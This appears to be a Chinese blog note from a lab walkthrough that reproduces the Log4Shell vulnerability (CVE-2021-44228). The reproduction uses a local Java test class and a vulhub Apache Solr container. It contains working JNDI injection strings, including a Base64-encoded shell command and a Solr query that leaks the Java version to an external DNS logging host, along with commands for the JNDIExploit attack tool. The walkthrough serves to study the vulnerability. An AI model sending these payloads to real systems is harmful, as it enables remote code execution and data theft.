前言:Log4j的利用条件实在是苛刻,看了很多视频和文章,记录下我能复现的两种场景
Windows系统不知啥原因,搞了许久毫无反应,只能控制台打印。360都检测出了Log4j,但是即使退出360,也没有任何命令执行,离大谱
1、kali
- Java环境:1.8.0_281,这个jdk版本已经很高了,真实环境是不能复现的,核心在于
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
- 下载两个jar包,log4j-core-2.14.1.jar,log4j-api-2.14.1.jar
// Log4jTest.java
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4jTest {
private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
String jndi_exploit = "${jndi:ldap://192.168.137.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9zdWNjZXNzCg==}";
logger.error(jndi_exploit);
}
}
编译运行
javac -cp log4j-core-2.14.1.jar:log4j-api-2.14.1.jar:$CLASSPATH Log4jTest.java
java -cp log4j-core-2.14.1.jar:log4j-api-2.14.1.jar:$CLASSPATH Log4jTest
攻击端主机ip(192.168.137.1),使用JNDIexploit工具进行攻击,
java8 -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.137.1
2、vulhub
vulhub,创建CVE-2021-44228的容器
这个环境非常和谐,没有任何问题,直接一次性成功
因为 log4j 并不是一个单独的web服务,而是日志记录库,所以这个环境是在 Apache Solr 8.11.0, which use Log4j 2.14.1
服务启动后,访问 http://your-ip:8983
to see the admin portal of Apache Solr.
/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.hw5t79.dnslog.cn}
dnslog platform查看记录就可以看到
我使用的是java8u74 ,信息已经实现外带了